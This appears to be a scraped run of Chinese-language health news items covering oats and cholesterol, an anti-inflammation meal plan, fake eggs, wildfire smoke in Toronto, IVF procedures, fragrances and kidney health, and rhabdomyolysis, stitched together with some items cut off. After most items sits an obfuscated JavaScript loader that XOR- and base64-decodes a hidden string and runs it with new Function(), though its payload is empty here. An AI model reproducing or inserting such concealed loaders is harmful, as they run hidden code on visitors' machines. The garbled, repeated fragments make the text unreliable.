健康

燕麦一向被香港人视为降胆固醇、保护心血管的“清道夫”健康食物，不论是作为快熟燕麦片早餐，还是加入健康餐单中，都极受养生一族欢迎。坊间一直存在一个大众迷思：为甚么有些人吃燕麦后胆固醇明显下降，有些人吃了很久却毫无动静？恒新复健科诊所医生王思恒表示，最新医学研究显示，燕麦能否发挥最大功效，其实与每个人肚子里的“肠道菌”相关。 水溶性纤维的传统阻隔机制 王思恒医生在社交粉专发文指出，燕麦中最常被医学界提及的有效成分，是膳食纤维“$beta$-葡聚糖”（$beta$-glucan）。这种水溶性纤维在遇水后会形成黏稠的质地。当它进入人体肠道后，能够发挥像磁石般的作用，帮助黏着食物中的胆固醇与消化液中的胆汁，并将它们直接带出体外。这亦是过去数十年来，科学界解释燕麦有助降低胆固醇的核心原因。 肠道菌将多酚加工成“秘密武器”阻碍身体制造坏胆固醇 王医生指出，燕麦除了含有丰富纤维外，还含有大量具抗氧化功能的“多酚”。研究团队曾找来一群患有代谢综合症（代谢症候群）的受试者进行临床实验，让他们进食燕麦。结果发现，受试者血液中由多酚衍生出来的“加工产物”数值明显飙升。关键正正就在于“加工”这两个字，因为燕麦中的原态多酚很难直接被人体肠胃吸收，必须依靠肠道内的益生菌先帮忙进行分解与加工，转换成全新的型态后，人体才能加以利用。 实验进一步发现，这批被肠道菌加工出来的秘密武器，在进入血液后会干扰人体自身制造胆固醇的机制。令人惊讶的是，牠们所针对的生产位置，竟然与医学界知名的专业降胆固醇药物（Statin 类药物）高度相同。换句话说，进食燕麦本质上是在喂养肠道菌；当肚子里的好菌吃饱了，作为回报，牠们便会替人体生产出对抗胆固醇的强大武器。不过王医生亦补充，这部分目前在医学上仍属于研究假说，尚不能视为最终定论。 连续两天三餐都只进食燕麦“变相节食”切勿盲目模仿 该项研究同时测试了不同的饮食模式。其中“短期猛吃组”连续两天三餐都只进食燕麦，结果显示，受试者的总胆固醇与俗称“坏胆固醇”的低密度脂蛋白，分别下降了约 8% 及 10%。王医生提醒，这种激进吃法之所以能在短期内见效，很大机会是因为引发了“热量赤字”（热量缩水），导致身体变相节食，市民切勿盲目模仿。 王思恒强调，这些由肠道菌加工出来的神经武器，目前大概只能解释胆固醇整体变化的 10% 至 20%，燕麦降脂的第一主力依然是 $beta$-葡聚糖。加上该研究的临床样本数目较少，仍有待未来更大规模的研究来进一步证实。他特别提醒市民，若本身已确诊高胆固醇并正服用处方药物，燕麦只能扮演膳食辅助角色，千万不能因此自行胡乱停药。 规律饮食才是最佳养菌之道 王医生总结表示，燕麦帮助降低胆固醇的原理，除了传统的膳食纤维屏障外，研究亦揭示了“多酚”这条由肠道菌驱动的秘密影响通道。“吃全谷物、养好肠道菌”的概念，本质上不单是喂饱人类自己，更是持续在为肚子里的好菌提供源源不绝的工厂原料。 市民毋须像实验对象般激进地三餐猛食燕麦，只需将燕麦纳入日常膳食中，例如将其作为每天早餐的健康选择。只要保持稳定、规律地进食，就能建立健康的肠道微生态，从而让身体更有效地维持血管健康。 资料来源：恒新复健科诊所医生王思恒 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

身体长期慢性发炎要小心，严重恐致癌、心脏病！有中医推介一套“3日抗炎餐单”，教巧妙利用平价“五色食材”入馔。 中医推荐3日餐单抗发炎 靠平价五色食材入馔 注册中医师马琦杰在个人专页“中医爸B - 马琦杰医师”分享一套结合地中海疗法、植物性抗炎及中医养生的疗法的3日餐单，更巧妙运用平价的五色食材入馔，轻松对抗体内发炎： 第1天： 早餐：暖柠檬水1杯、南瓜藜麦豆浆、烚蛋1只、无调味核桃10克。 午餐：双姜杏仁奶、香煎鲭鱼紫淮山黑豆饭盒，配菜为姜丝木耳炒菠菜。 晚餐：温热沉香茶、高汤炖山药鸡汤、蒜香清炒西兰花配红萝卜。 第1日“五色”达成： 绿色：菠菜、西兰花 红色：红萝卜片、红枣、杞子 黄色：南瓜、柠檬 白色：山药、蒜头、杏仁奶 黑/紫色： 黑木耳、紫淮山、黑豆 第2天： 早餐：暖柠檬水1杯（约300毫升）、热小米紫淮山粥、姜丝炒黑木耳、麻油煎蛋。 午餐：双姜杏仁奶、去皮鸡腿鲜菇紫淮山黑豆饭，配以初榨橄榄油清炒红甜椒与芦笋，并加入干煸松子。 晚餐：温热沉香茶、莲藕鲈鱼汤、温拌番薯叶，加入少许初榨橄榄油。 第2日“五色”达成： 绿色：芦笋、番薯叶 红色：红甜椒 黄色：柠檬 白色：莲藕、葱白、鲜冬菇、杏仁奶 黑/紫色：黑木耳、紫淮山、黑豆 第3天： 早餐：暖柠檬水1杯、初榨橄榄油拌藜麦加炒蛋、姜丝炒小白菜。 午餐：双姜杏仁奶、盐曲豆腐配紫淮山黑豆饭，加上葱烧烩南瓜及番茄炒毛豆（加入无调味熟葵花籽一同拌炒）。 晚餐： 温热沉香茶、猪肉紫菜汤、椰菜配鲜冬菇丝（加入少许虾米与蒜头爆香），另配一小块原个番薯。 第3日“五色”达成： 绿色：小白菜、毛豆 红色：大番茄 黄色：南瓜、番薯、柠檬 白色：椰菜、蒜头、杏仁奶 黑/紫色：紫淮山、黑豆、紫菜、鲜黑冬菇丝 甚么是慢性发炎？5大因素易诱发 根据香港中文大学肝脏护理中心资料，发炎又叫“炎症反应”，可以分为急性和慢性，成因、特征如下： 急性发炎 不少人也经历过“急性发炎”，例如当皮肤擦伤、身体复原时的红肿热痛，通常维持数天至数星期，在诱发原因如受伤或感染等受到控制后逐渐消退。 这类炎症是人体免疫系统的一部分，是对受伤、感染和组织损伤的自然反应。目的在于吸引免疫细胞（例如白血球）到伤口或感染部位，以尽快清除病原体并修复受损组织。 慢性发炎 “慢性发炎”是指身体经年累月处于发炎状态，肯定有害人体。目前已确认与慢性炎症有关联的疾病包括癌症、心脏病、类风湿关节炎、二型糖尿病、肥胖、哮喘、甚至是老年人的认知能力下降。 慢性发炎常见成因 •未能成功治疗的急性炎症（例如急性的乙型肝炎和丙型肝炎，如果病毒一直未受控制或清除，便可能演变为慢性肝炎） •自体免疫性疾病，免疫系统错误长期攻击自身细胞 •身体长期暴露于化学刺激物或空气污染物 •严重肥胖、吸烟、酒精饮品 •持续来自生理、心理或环境的压力 资料来源：注册中医师马琦杰、香港中文大学肝脏护理中心 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

近日有网民在Threads发文，称“街市出现假蛋”，提醒港人要小心。其实近年都不时有网民指购入“橡胶蛋”，即使烹煮20分钟，蛋质“烟韧”如橡胶，用力挤压亦不碎裂，担心买到“假鸡蛋”，引发广泛关注。究竟“橡胶蛋”是真是假？背后成因是甚么？ 假鸡蛋｜拆解橡胶蛋成因：运输颠簸 鸡蛋供应商德青源负责人杨永强（Raymond）曾接受访问时解释，这种“橡胶蛋”现象与鸡蛋品质或真伪无关，任何产地的鸡蛋都有可能出现。他指出，主要成因是鸡蛋在长途运输过程中遭受剧烈摇晃，导致蛋白逐渐融入蛋黄，改变蛋白质结构，令煮熟后产生如橡胶般的弹性。 假鸡蛋｜假蛋成本高 市民毋须恐慌 对于“假鸡蛋”之说，Raymond直言商业上极不可行。他分析，制造一只逼真的假蛋，既要制作外壳，又要调配化工原料灌浆，即使物料成本不高，若计算人工和时间成本，生产一箱（360只）假蛋估计至少耗费两天时间。在追求盈利的前提下，大规模制造假蛋根本不合乎成本效益，呼吁市民无需过分忧虑。 假鸡蛋｜3种情况鸡蛋不能食 虽然“橡胶蛋”与真伪无关、可安全食用，但若鸡蛋出现以下3种情况，则代表已变坏或受污染，应立即丢弃，以免进食后中毒甚至致命。香港高等教育科技学院食品与健康科学学系讲师文嘉敏博士曾接受《星岛头条》访问指出： 蛋壳出现裂缝：失去保护层，容易滋生细菌。 出现异味：代表蛋白质分解，可能已受微生物污染。 蛋黄或蛋白变色（如变黑、发霉）：显示变质或受霉菌感染。 假鸡蛋｜正确保存：鸡蛋不宜清洗 香港食物安全中心指出，保存鸡蛋时切勿用水清洗，因为蛋壳表面有一层天然保护膜，清洗会破坏该层膜，令细菌更容易入侵。应将鸡蛋存放于雪柜内，并保持蛋尖向下，有助延长保鲜期。购买时建议： •留意包装是否完整，鸡蛋有无裂痕或污渍。 •打开后如发现蛋白或蛋黄异常，应立即停用。 •鸡蛋宜尽快食用，避免长时间存放。 资料来源：lau5019@Threads T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var...

想让肌肤维持年轻紧致，甚至养出水光肌，可以吃甚么？有营养师推介8类护肤食物，除了蓝莓及鸡蛋外，多吃奇异果及虾更能激增胶原蛋白。 营养师推介8大护肤食物 吃奇异果/鲜虾可补胶原蛋白？ 营养师高敏敏在facebook专页发文指出，除了擦美白保养品，其实每日吃进肚子里的食物也会直接影响肌肤状况，想让肌肤白净透亮、充满光泽，单靠少晒太阳并不足够，更要从营养开始补起。当身体摄取足够的抗氧化营养素、优质蛋白质与植化素，就能帮助减少自由基的伤害、维持胶原蛋白生成，并有效降低黑色素形成，让肌肤由内而外散发健康的水光感。想养出透亮白滑的肌肤，她建议日常可多补充以下8类营养素： 1.维他命E 可选择植物油、牛油果、坚果及南瓜。维他命E能强效抗氧化，有助维持肌肤的弹性与保湿锁水力。 2.维他命B3 可选择豆制品、鸡肉及肝脏。维他命B3有助维持皮肤健康，同时能阻截黑色素传递。 3.优质蛋白质 例如鱼类、虾、蚬、鸡蛋及黑豆。胶原蛋白的生成与受损皮肤的修复，都必须依赖足够的优质蛋白质作为原料。 4.茶多酚 可选择饮用绿茶，茶多酚具有强大的抗氧化作用，可减少紫外线对皮肤造成的氧化压力。 5.维他命A 可选择红萝卜、菠菜、番茄及南瓜，含有丰富的维他命A能维持皮肤的正常角化与健康。 6.维他命C 可选择番石榴、奇异果、甜椒及西兰花。维他命C不仅参与胶原蛋白的形成，更是极为重要的抗氧化营养素。 7.花青素 可选择蓝莓、黑莓、提子、士多啤梨及红石榴。花青素能帮助肌肤对抗自由基，维持肌肤健康。 8.谷胱甘肽 可选择椰菜、白萝卜、芦笋等十字花科蔬菜。谷胱甘肽是人体极重要的抗氧化物质，可透过均衡饮食帮助维持。 此外，高敏敏亦指出，日常也可多进食番茄、西瓜、莓果、三文鱼、黄豆制品等富含抗氧化营养素的食物，有助降低紫外线带来的氧化伤害。 没有食物能“吃了就变白” 附日常保养贴士 她特别提醒，没有任何一种食物可以“吃了就变白”，亦绝对没有食物能完全取代防晒产品的作用。想拥有健康透亮的肤色，必须“由内养、由外防”双管齐下： ·保持均衡饮食 ·坚持每日做好防晒 ·确保睡眠充足 ·减少吸烟、尽量少熬夜 ·出门前20分钟提早涂抹防晒 ·进行户外活动时，穿着具备UPF防晒系数的衣物 ·搭配防晒帽、防紫外线阳伞等物理性防晒工具  T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

【星岛记者张凤萍、胡智豪报道】受安省西北部山火烟雾影响，大多伦多地区周三（15日）天空灰濛濛一片，空气质素明显恶化。根据空气质素监测平台 IQAir，多伦多一度成为全球空气质素最差的主要城市，加拿大环境部亦发出空气质素警告，提醒市民尽量减少户外活动。 《星岛》今日进行的街访发现，不少市民都表示，一早出门已察觉天色异常。 来自澳洲的游客Vera笑言，自己一起床望出窗时，还以为是眼镜出了问题，后来才知道原来是山火烟雾造成。她表示，虽然明白属自然现象，但今次经历难免影响她对多伦多的印象。      另一名市民黄先生表示，早上见到外面灰濛濛一片，已知道空气质素出了问题。他形容，近年极端天气愈来愈频繁，面对山火烟雾，市民似乎只能够慢慢适应。 家庭医生：PM2.5可进入血液　高风险人士外出宜戴N95 加拿大环境部表示，山火烟雾可能引致眼睛、鼻及喉咙受刺激，亦可能出现头痛及咳嗽等症状；长者、孕妇、幼童，以及患有心肺疾病等慢性疾病人士风险较高，建议减少户外活动，并尽量留在室内、关闭门窗。 家庭医生Dr. James Leung表示，山火烟雾中的 PM2.5 微细悬浮粒子可深入肺部，甚至有机会经肺泡进入血液循环，影响身体其他器官及功能。 他建议，市民可考虑在家中使用配备 HEPA 滤网的空气清新机，以减少室内微细悬浮粒子；高风险人士如必须外出，则应佩戴 N95 或 KN95 口罩，因一般外科口罩未必能有效阻隔 PM2.5 微粒。 梁医生提醒，高风险人士即使当日没有明显不适，亦不代表身体没有受到影响，因部分症状可能于吸入烟雾后一至两日才出现。因此，他建议市民在未来48小时内留意身体状况，如出现呼吸困难、胸口不适等症状，应尽快求医。 中医：可按压穴位及饮用润肺汤水 注册中医师劳惠光表示，从中医角度而言，山火烟雾属“燥热浊毒”，容易影响肺部及呼吸道健康。如因烟雾引致鼻部不适，可按压鼻翼两侧穴位，以纾缓鼻塞等不适。 食疗方面，他建议市民可按个人体质适量饮用润肺汤水，例如以雪梨、雪耳、百合及玉竹煲汤；如开始感到喉咙干涸或不适，可选择煲鱼腥草、芦根及生薏米。不过，他提醒，若症状持续或加剧，应及早求医。   T10

人类生殖科技管理局日前公布一宗医疗事故，有医学中心被揭发两宗人工受孕胚胎细胞样本出错事故，送检样本不属个案父母，事件引起公众对辅助生育技术安全性的关注。《星岛头条》为大家解构体外受孕（IVF）及宫腔内人工授精（IUI）的流程，让有意接受疗程的夫妇了解每个阶段的步骤与注意事项。 体外受孕（IVF）试管婴儿7个步骤 对于较复杂的不育问题，如输卵管阻塞、子宫内膜异位症、严重男性问题或多次IUI失败，则需要进行体外受孕（IVF）。整个疗程分为7个步骤： 第1步：评估及诊断 开始疗程前，医生会了解夫妇的身体状况和病历，进行血液荷尔蒙检验、超声波检查及精液分析等诊断。 第2步：解释及签署同意书 确定治疗方案后，医护人员会详细解释疗程细节、风险、成功率和收费，并根据人类生殖科技管理局指引签署同意书。 第3步：促发排卵与监察 医生会根据女方的身体情况计划促排卵疗程。女方需在月经周期第二或第三天覆诊，抽血检验荷尔蒙及进行超声波检查。如情况理想，便开始注射促排卵药，加速卵泡生长。期间每隔三至四天覆诊，医生按卵泡状况调整药物剂量，直至卵泡成熟至适当大小。 第4步：抽取卵子与处理精液 卵泡成熟后，医生为女方注射破卵针，约36小时后进行取卵手术，整个过程约45分钟，在麻醉下以超声波辅助从卵巢抽取卵子。男方同时提交新鲜精液样本，实验室会分析及处理，选用最佳精子与卵子结合。 第5步：受精及胚胎培养 获选中的精子会与卵子结合及培养。若因男性原因不育，专家会采用单精子卵细胞浆内显微注射技术，将质素较佳的精子直接植入卵子内；专家会密切监察受精及胚胎分裂情况，一般培养多2至6天，视乎胚胎品质和分裂数量再决定移植时间。 实时监察技术：现时会使用胚胎缩时监测系统，每隔几分钟自动采集胚胎图像，以便从中挑选着牀机会率最高的胚胎优先移植，筛选发育潜能较差的胚胎。 第6步：胚胎移植 医生会将质素较好的1至3粒胚胎移植到女方子宫腔内。剩余未使用的优质胚胎会冷藏于摄氏负196度的液态氮内，留待下次使用。 第7步：成功率与验孕 胚胎移植后，夫妇需在约14天后覆诊验孕。如成功着床，即可安心养胎。若未成功，可将雪藏胚胎解冻，安排另一次移植。 宫腔内人工授精（IUI）轻度不育者的选择 不育问题较轻的夫妇可选择宫腔内人工授精（IUI），条件是女方输卵管畅通，男方需有足够数量的活跃精子。适用人士包括： ·轻度男性不育 ·月经周期不调 ·不明原因不孕 ·有性功能障碍的夫妇 流程：在女方排卵期间，胚胎专家将男方提交的精液样本进行洗涤处理，去除精浆、死精和杂质，抽取最活跃、质素最高的精子，直接注射入女方的子宫体内，协助受孕。 资料来源：仁安医院生殖医学中心 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

洗米水倒掉超浪费！专家揭5大神奇隐藏用途 竟可作天然洁面兼当爽肤水？ 每日煮饭的洗米水习惯直接倒掉？有专家指出，洗米水蕴含天然矿物质及植物油脂，具备5大隐藏用途，其中能充当天然洁面和爽肤水。 洗米水5大神奇隐藏用途 竟可作天然洁面兼当爽肤水？ 据日媒《grapee》报道，煮饭的第一步必然是洗米，洗米是一个为白米“抛光”的重要准备步骤，能有效去除米糠和杂质，大幅提升米饭煮熟后的品质。一般人通常会将洗出来的呈乳白色的洗米水直接倒落水槽，但洗米水绝非废水，当中含有适量的天然矿物质和植物油脂，在日常生活中有多达5大用途： 洗米水5大神奇隐藏用途 1.洗碗 洗米水中的淀粉质具有极佳的吸油作用，清洗带有油污的碗碟或厨具时，可先用洗米水冲洗一次，再用清水彻底洗净，这样能大幅减少洗洁精的用量。此外，若塑胶饭盒吸附了食物异味，可用洗米水浸泡一整夜来去除臭味。不过，洗米水富含营养，容易滋生细菌，因此浸泡后必须将容器彻底清洗干净。 2. 地板清洁 洗米水含有天然植物油，用来擦拭木地板会产生类似打蜡的光泽效果。不过，使用洗米水抹地前建议先加入清水稀释，以免损害地板表面。 3.为植物提供所需的营养物质 洗米水营养丰富，非常适合用于园艺和浇灌盆栽。若每次洗米后都将洗米水倒入盆栽，积水容易导致植物根部腐烂，因此必须适量使用。 4.去除食物表面的杂质 洗米水中的矿物质能与食物中的苦味结合，从而产生中和作用。在烹饪准备时，洗米水可用来去除干萝卜、竹笋、鳕鱼、鲱鱼等的苦味。 5.美容 米糠与洗米水一直被视为天然的美容佳品，不仅可用作日常洁面，更能充当天然爽肤水。洗米水中的天然成分能为肌肤提供充足水分。不过，若打算将洗米水用于面部护肤，务必在使用前进行皮肤敏感测试，以检查是否会产生过敏反应。 资料来源：《grapee》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

好多人以为高油、高盐、高糖饮食或乱吃加工食品伤肾，但不少人都会忽略一个伤肾元凶——就是无处不在的“化学香味”。有专家指，别以为香味只会伤肺，在密闭空间长时间闻化学香味，同样伤肾！ 化学香味会伤肾？香味浓烈不自然是警号 肾脏科医生洪永祥在节目《祝你健康》中分享，除了疾病因素如糖尿病肾病变、肾丝球肾炎外，日常生活的“习惯因子”同样是伤肾元凶。洪医生指，很多人以为化学香味只会伤肺，却没想到它同样对肾脏造成损害。 他举例：“天然的苹果或玫瑰花香必须近距离才能闻到；但市面上的香水、香氛之所以能飘散很远，往往因为含有有机溶剂、定香剂、醛类、醚类及邻苯二甲酸酯等环境荷尔蒙”，均对身体有害。好多人以为只有廉价的香水才含有较多化学物质，其实不然。洪医生补充：“只要香味浓烈到不自然，感觉像香精的味道，通常都含有大量化学物质。” 除了香水，洪医生列出了5款我们习以为常的香味也需要注意： 伤肾香味｜1. 汽车香薰 车内空间狭小，若放置汽车香薰，香气会24小时不断释放定香剂、有机溶剂等有害物质。加上车厢是密闭空间，浓度远高于一般室内，长期吸入十分危险。 伤肾香味｜2. 公厕芳香剂 公共厕所常用廉价芳香剂掩盖异味，但化学香气与原有臭味混合，反而形成更复杂的有害气体。最根本的解决方法仍是保持良好通风，既能除臭，亦可防止霉菌与细菌滋生。坊间不少厕所连窗都没有，这时若再加上廉价的香氛味道，更是毒上加毒。 伤肾香味｜3. 衣物柔顺剂 许多人习惯衣物散发香味，认为这样才算“洗干净”。然而研究发现，干衣机打开时扑鼻而来的香气，含有大量醇类、醛类、醚类等有机溶剂，不仅伤肾，更有致癌风险。洪医生提醒，家中有慢性肾衰竭患者应尽量避免使用化学香精产品，改选天然配方。 伤肾香味｜4. 寺庙香烛 燃烧任何物品均会产生PM2.5，只是含量多寡的问题，与用天然檀香无关。若家中设有祖先牌位或神桌，建议祭拜后尽快离开，避免长时间吸入含重金属及PM2.5的烧香烟雾。 伤肾香味｜5. 厨房油烟 厨房油烟可导致女士肺癌，因为高温爆炒肉类、蛋白质时，产生的油烟含有多环芳香烃等致癌物，其成分与电单车废气相似。烹调时务必开启抽油烟机，并尽量减少高温油炸，保护肾脏及肺部健康。 提防“香味杀手”通风是良方 保护肾脏健康，除了注意饮食和规律就医，也要留意生活中这些无形的“香味杀手”。保持通风、选择天然产品、减少不必要的化学物质暴露，都是守护肾脏的重要关键。 肾病/肾衰竭初期症状 留意小便变化 据香港医管局资料指，肾脏主要功能包括排泄经新陈代谢产生的废物，协调体内水分、电解物、酸碱度、血压等，制造红血球激素，以及协助制造维他命D。当肾脏功能因某些原因长期受到严重伤害，体内废物累积，引发多种身体功能的问题，有机会演变为慢性肾衰竭。 不过，初期的肾病及慢性肾衰竭征状并不明显，较常出现的症状如下： ●小便带血 / 茶色尿（血尿） ●小便带泡沫（蛋白尿） ●小便混浊（尿感染） ●小便赤痛、频密 ●小便感困难、不畅顺 ●小便排出小沙石 ●多尿、尿量减少、夜尿 ●腰腹疼痛 ●足踝或眼皮浮肿 ●血压高 资料来源：《祝你健康》、医管局 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) ...

近年香港兴起健身热潮，不少打工仔为了操肌、减脂，一放工就涌到 24 小时健身室“狂撸铁”。然而，盲目追求高强度训练，随时会由操肌变成操坏肾。河南郑州一名23岁男子，近日就因为在健身时过度“练腿”，随后双腿剧痛至无法行走，更排出恐怖血尿。他随即被送往医院急症室，经检查后发现其体内的“肌酸激酶”高达 2 万多单位，足足超出正常值100多倍！医生最终诊断他患上严重的“横纹肌溶解症”，并已并发急性肾衰竭，后果堪虞。 23岁男患“横纹肌溶解症” 肌肉细胞破裂堵塞肾小管 很多人听见“横纹肌溶解症”，会误以为是肌肉在体内真正“溶化”。事实上，这是指肌肉因受到过度挤压或超负荷外力，导致肌肉细胞受损并破裂。当肌肉细胞破裂后，细胞内的“肌红蛋白”及“肌酸激酶”等物质会瞬间大量释放进入血液循环系统。由于这类大分子物质必须经由肾脏排出体外，当浓度过高时，便会死死堵塞住肾小管，造成急性肾损伤。若病情严重，患者甚至需要接受洗肾（透析治疗）才能保住性命。 留意身体征兆 尿液颜色异常变深要注意！ 横纹肌溶解症来势汹汹，医生严正强调，如果运动后出现肌肉剧痛并发现尿色变深，千万不要误以为这只是单纯的“乳酸堆积”或身体在“排毒”。此时切勿强行拉筋或进行热敷，否则只会进一步加剧肌肉细胞的损伤。同时提醒市民，运动后若出现以下4大身体征兆，必须提高警觉： 剧烈肌肉异常疼痛： 肌肉会出现严重的肿胀、僵硬及乏力感，严重时甚至痛到无法正常行走，或无法自由伸屈肢体。 尿液颜色异常变深： 这是最直观的危险讯号。尿液会呈现深浓茶色、酱油色或红葡萄酒色，代表大量的肌红蛋白正穿过肾脏排出。 全身性不适症状： 患者往往会伴随头晕、头痛、恶心、呕吐及全身瘫软无力。 尿量突然明显减少： 当肾功能开始受损、肾小管被堵塞时，患者的排尿量会显著大减。 横纹肌溶解症4大身体征兆 新手增重切忌循序渐进 要预防横纹肌溶解症，关键在于运动必须“循序渐进”。尤其是刚刚加入健身行列的“新手”，或是因工作忙碌而长时间没有运动的人，绝不应在复操初期突然进行超高强度的重量训练，更不要在一天之内强行叠加多项高强度训练，过度透支核心肌群。 同时，市民在运动前、中、后都应采取“少量多次”的方式补充水分，必要时可饮用电解质饮料，这有助加速体内代谢物的排出，保护肾脏免受毒素侵袭。此外，在夏日高温高湿的环境下运动更要加倍小心，因为身体散热困难，会更容易诱发肌肉深层损伤。 医生呼吁，不论是玩 Weight Training（重量训练）还是 CrossFit，加重量必须量力而为。若运动后发现异常，应立即停止所有活动、大量饮水并即时前往急症室求医，切勿为了一时的“泵大旧肌”而拿肾脏健康开玩笑。 资料来源：抖音 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

无论是小朋友、成年人还是长者，不少人都面对过同一个世纪难题——吞药丸。每逢生病吃药，药丸总像是卡在喉咙吐不出来、吞不下去，让人非常难受。其实，这未必是因为药丸体积太大，而是你的服药姿势出事！ 台湾衞生福利部食品药物管理署（食药署）近日就公开了正确的“不卡喉”服药秘诀。原来，服用“胶囊药丸”与一般“锭剂药丸（药片）”的方法截然不同。我们惯常采用的“抬头吞药法”，遇上某一款药丸时，反而会大大增加卡喉的风险！ 胶囊药丸宜低头吞服 一招防止“卡在喉咙” 遇到外壳是塑胶质感的“胶囊药丸”时，正确的姿势应该是低头吞。 原因： 胶囊的密度比较低（比水轻）。当你低头时，胶囊反而会自然浮在水面上，靠近喉咙口。 正确姿势： 先喝一口水，稍微低头（将下巴靠近胸口），然后顺着水流一并吞下，胶囊便会顺畅地流入食道。 错误姿势： 如果此时盲目抬头，胶囊会浮在口腔前半部，反而容易卡在喉咙或食道，延缓药物溶解的时间。 一般药片宜抬头吞服 如果是普通药片、锭剂或带有甜味的糖衣锭药丸，则适合传统的抬头服用。 原因： 